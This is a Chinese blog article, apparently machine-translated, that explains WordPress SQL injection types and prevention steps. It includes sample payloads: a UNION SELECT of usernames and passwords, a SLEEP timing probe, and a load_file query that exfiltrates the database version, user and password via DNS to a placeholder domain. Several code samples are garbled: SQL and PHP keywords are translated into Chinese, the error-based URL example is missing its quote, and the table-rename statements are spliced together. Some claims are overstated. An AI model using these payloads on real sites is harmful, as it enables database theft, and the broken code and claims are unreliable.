首页云计算 正文

如何防止WordPress SQL注入攻击?

2024-12-27 1 0条评论

您想保护您的 WordPress 网站免受黑客攻击吗?安全性在网站开发中至关重要。WordPress SQL 注入可让黑客访问和利用敏感数据库信息。

SQL 注入是由于后端编码中的漏洞而发生的。攻击者可以通过插入执行 SQL 命令的恶意代码来利用输入字段,从而允许他们在数据库中创建、检索、更新或删除数据。

SQL 注入漏洞影响大约 1.57% 的 WordPress 网站,感染率高达 1.85%。

超过 600,000 个 WordPress 网站受到 WP Statistics 插件中的盲 SQL 注入漏洞的影响。

SQL注入攻击的常见入口点:

  • 注册表格
  • 登录表单
  • 联系表格
  • 网站搜索
  • 反馈字段
  • 购物车

为什么 SQL 注入攻击如此常见?

  • 大多数网站数据库都是基于 SQL。
  • WordPress 是最广泛使用的内容管理系统 (CMS),并使用 SQL 作为其数据库。
  • 所有网站都有输入字段来收集访问者的信息。
  • 所有网站至少都有一个 SQL 注入入口点。
  • SQL 注入扫描工具在网上随处可见。
  • 利用这些漏洞不需要很高的技术复杂性。

什么是 WordPress SQL 注入攻击?

SQL 是一种用于管理数据库的编程语言。所有 WordPress 网站都使用 MySQL、MariaDB 和 AuroraDB 等数据库。

SQL 注入是指黑客使用 SQL 来访问隐藏信息的攻击。为了入侵网站,他们会在用户输入字段(如登录框、搜索栏或注册表单)中输入有害的 SQL 命令。

想象一下,一个黑客在 WordPress 输入字段中输入了有害的 SQL 代码。如果在未经严格验证的情况下将输入用于数据库查询,数据库可能会运行恶意命令。

这可能导致未经授权的访问或更改数据,例如修改信息或用户权限以及进行DDoS 攻击

这可能会损害客户信任、对用户体验产生负面影响并减少网站流量,这不利于您的小型企业的发展。

SQL 注入攻击的类型

1.带内 SQLi

带内 SQL 注入是一种常见的 SQL 注入类型,因为它简单且有效。它有两种形式:基于错误的和基于联合的。

  • 基于错误的 SQLi

基于错误的 SQL 注入攻击会使数据库显示泄露其结构的错误消息。

攻击者通过将 SQL 命令注入输入字段、使用单引号、双引号或 AND、OR 或 NOT 等运算符来实现此目的。

例如,一个网站的 URL 可能会接受来自访问者的参数:

https://www.test.com/index.php?data=123

在这种情况下,攻击者可以在参数末尾附加单引号:

https://www.test.com/index.php?data=123 

这可能会返回敏感信息,攻击者可以获取以下数据:

  1. 确认数据库使用 MySQL
  2. 触发错误的特定语法
  3. 查询中发生错误的确切位置
  • 基于联合的 SQLi

它使用 UNION SQL 运算符将多个 SELECT 语句组合成一个响应,从而可能泄露敏感数据。

攻击者使用 UNION 关键字获取比原始查询更多的数据,从而允许他们在原始查询中添加额外的 SELECT 查询。

可以这样执行:

选择 a,b 从表 1 联合选择 c,d 从表 2

此查询将两列的值合并为一个结果集。它将一个表中的 A 列和 B 列的值与另一个表中的 C 列和 D 列的值组合在一起。

为了使 SQL 注入成功,需要满足一些要求:

– 每个查询必须返回相同数量的列。

– 每列的数据类型必须与查询兼容。

如果满足这些条件,攻击者便可以从注入的查询中获得结果。一旦确定正确的列数和数据类型,SQL 注入黑客便可以访问数据库表的内容。

例如,如果原始查询获取两个字符串列(如用户名和密码),则攻击者可以输入以下内容:

UNION SELECT 用户名, 密码 FROM 用户–

这些查询结果可能会造成严重问题。一旦发生这种情况,您网站上的个人信息就会被他人获取,并可能以多种方式被滥用。

2.推理 SQL 

推理 SQL,也称为盲 SQL 注入 (blind SQLi),是一种 SQL 注入攻击,攻击者无法直接在应用程序中看到其恶意代码的结果。

  • 基于布尔的盲 SQLi:攻击者根据数据库中是否存在特定数据进行查询,并给出真或假的响应。
  • 基于时间的盲 SQLi:攻击者添加使数据库执行缓慢操作的查询,例如延迟或睡眠功能。
从帖子中选择*,其中post_id = 1-SLEEP(10);

当响应成功延迟时,攻击者可以确认 SQL 注入是可能的。这表明服务器使用 MySQL 数据库,允许更复杂的有效载荷注入。

3. 带外 SQLi 

带外 (OOB) SQL 注入是一种攻击,攻击者无法在同一通信通道上收到响应。相反,应用程序被操纵以将数据发送到攻击者控制的远程端点。

服务器必须支持触发 DNS 或 HTTP 请求的命令才能实现此功能。这在流行的 SQL 服务器中很常见。

MySQL 服务器版本 5.5.52 及以下版本以空的secure_file_priv设置启动。这允许攻击者通过使用load_file函数向其域创建请求来窃取数据,该函数会在请求中检索被盗数据。

选择 load_file(CONCAT('\\\\',(SELECT + @@version),'。',(SELECT + user),'。',(SELECT + password),'。',test.com \\test.txt'))

因此,应用程序将向指定域发送 DNS 请求,可能会暴露敏感信息,例如数据库版本、用户名和密码。

如何防止 WordPress 遭受 SQL 注入攻击?

1. 定期更新网站并使用防火墙

定期将 WordPress 网站更新到最新版本是防止 SQL 注入攻击的有效方法。这些更新通常会修复安全漏洞,包括数据库软件问题,使黑客更难攻击您的网站。

此外,考虑使用防火墙来增加保护。

  1. 登录您的 WordPress 仪表板。
  2. 单击“更新”页面。
  3. 点击“为所有新版本的 WordPress 启用自动更新”链接。这将确保所有主要更新一经发布便立即安装在您的网站上。

完成此操作后,您还可以添加防火墙以提供额外的安全性。此功能就像您网站和传入流量之间的盾牌,在常见安全威胁(包括 SQL 攻击)到达您的网站之前将其阻止。

2.隐藏您的WordPress版本

如果其他人能看到您使用的 WordPress 版本,您的网站可能会面临 SQL 注入风险。每个版本都有各自的安全漏洞,因此这些信息可能会帮助攻击者入侵您的数据库。

通常,您的 WordPress 版本显示在您网站的标题中。

<meta name=”generator” content=”WordPress 6.5.3″ />

通过隐藏这些信息,您可以使 SQLi 攻击者更难以攻击您的网站。

    1. 登录您的 cPanel 帐户。
    2. 导航到文件 > 文件管理器。
    3. 在 public_html 中,选择wp-content > themes文件夹。
    4. 选择您的活动主题;在此文件夹中,打开functions.php文件。
    5. 添加以下代码:
      函数 remove_version() { 返回 '​​'; } 添加过滤器('the_generator','remove_version');
    6. 保存更改。

3.更改 WordPress 数据库前缀

默认情况下,WordPress 对所有数据库表使用前缀 wp_,这使得黑客更容易通过针对此前缀来策划攻击。

 

防止 SQL 注入攻击的最简单方法是将默认数据库前缀替换为黑客不易猜到的独特前缀。

 

您可以使用FTPcPanel连接到您的网站,轻松完成此操作。然后,打开wp-config.php文件并找到包含$table_prefix 的行。将其从默认的 wp_ 更改为其他内容,例如 wp_b123456_。

$table_prefix = ‘wp_b123456_’;

下一个,

  1. 登录您的 cPanel 帐户。
  2. 导航到数据库 > PHPMyAdmin
  3. 选择您的数据库名称并单击SQL选项卡。

之后,您可以在文本框中插入以下 SQL 查询。编辑 wp-config.php 文件时,请记住将数据库前缀替换为您选择的前缀。

将表 `wp_comments` 重命名为 `wp_b123456_comments`;

将表 `wp_options` 重命名为 `wp_b123456_options`;

将表“wp_postmeta”重命名为“wp_b123456_postmeta”;

RENAME 表 `wp_RENAME 表 `wp_commentmeta` TO `wp_b123456_commentmeta`;

帖子` 到 `wp_b123456_posts`;

将表 `wp_terms` 重命名为 `wp_b123456_terms`;

将表“wp_termmeta”重命名为“wp_b123456_termmeta”;

将表 `wp_term_relationships` 重命名为 `wp_b123456_term_relationships`;

将表 `wp_usermeta` 重命名为 `wp_b123456_usermeta`;

将表 `wp_users` 重命名为 `wp_b123456_users`;

4.验证用户输入

黑客经常使用用于输入用户数据的字段(例如评论部分或联系表单字段)向您的网站注入 SQL 攻击。

这就是为什么验证 WordPress 博客上提交的所有数据至关重要。这可确保用户数据只有符合特定格式才会被接受。

例如,只有当电子邮件地址字段包含“@”符号时,用户才能提交表单。在大多数表单字段中添加此类验证有助于防止 SQL 注入攻击。

您需要 Formidable Forms(一款高级表单生成器插件)来实现此目的。它提供了“输入掩码格式”选项,您可以在其中指定用户提交表单字段数据时必须遵循的格式。

您可以为电话号码或单个文本字段指定特定格式。

 

 

 

 

如果您想避免手动验证表单字段,请使用 WPForms。它是顶级联系表单插件,提供全面的垃圾邮件防护和 Google reCAPTCHA 支持。

 

使用 WPForms,您还可以在表单中包含下拉菜单和复选框。这有助于使黑客更难插入恶意数据。

5.限制用户角色访问和权限

此外,防止 WordPress SQL 注入攻击的另一种方法是限制用户对您网站的访问。

假设您正在运营一个多作者博客,其中有不同的作者、订阅者和管理员。在这种情况下,将完全管理权限仅限制为管理员可以提高站点安全性。

您可以限制其他用户角色仅执行其任务所需的功能。这可以减少对数据库的访问并有助于防止 SQL 注入攻击。

您可以使用免费的Remove Dashboard Access插件来完成此操作。

  1. 登录您的 WordPress 仪表板。
  2. 导航到插件 > 添加新插件
  3. 搜索删除仪表板访问插件。
  4. 单击立即安装激活
  5. 转到设置>仪表板访问页面,选择哪些用户角色可以访问仪表板。

6.删除不必要的数据库功能

从您的网站中删除任何不必要的数据库功能和文件对于防止 SQL 注入攻击至关重要。

例如,您可以删除不必要的表、垃圾或未经批准的评论,因为这些可能会使您的数据库容易受到黑客攻击。

为了消除不必要的数据库功能,我们建议使用WP-Optimize插件。这个出色的插件可以删除不必要的表格、帖子修订、草稿、废弃的评论、已删除的帖子、pingback、帖子元数据等。

结论

SQL注入攻击者可以通过插入恶意 SQL 语句来利用您的数据库。虽然这是 WordPress 网站的常见问题,但您可以轻松删除任何注入的恶意软件。但是,实施安全措施可以防止未来的攻击并保护您的数据。

文章版权及转载声明

本文作者:admin 网址:http://news.edns.com/post/284046.html 发布于 2024-12-27
文章转载或复制请以超链接形式并注明出处。

取消
微信二维码
微信二维码
支付宝二维码